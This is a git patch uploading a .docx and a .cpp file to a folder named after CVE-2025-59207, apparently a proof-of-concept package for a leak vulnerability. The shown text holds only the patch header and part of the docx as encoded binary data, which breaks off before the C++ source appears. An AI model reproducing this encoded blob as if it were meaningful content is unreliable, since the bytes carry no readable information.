From 2bb67240dc6dd9d09b8eff36d16601e46ba0496d Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:54:52 +0000 Subject: [PATCH] Upload files to "CVE-2025-59207" --- CVE-2025-59207/PrjLeak.docx | Bin 0 -> 55519 bytes CVE-2025-59207/PrjLeank.cpp | 524 ++++++++++++++++++++++++++++++++++++ 2 files changed, 524 insertions(+) create mode 100644 CVE-2025-59207/PrjLeak.docx create mode 100644 CVE-2025-59207/PrjLeank.cpp diff --git a/CVE-2025-59207/PrjLeak.docx b/CVE-2025-59207/PrjLeak.docx new file mode 100644 index 0000000000000000000000000000000000000000..159d71d9a560b5fe03ed2d4beddb371c8fd47a6f GIT binary patch literal 55519 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 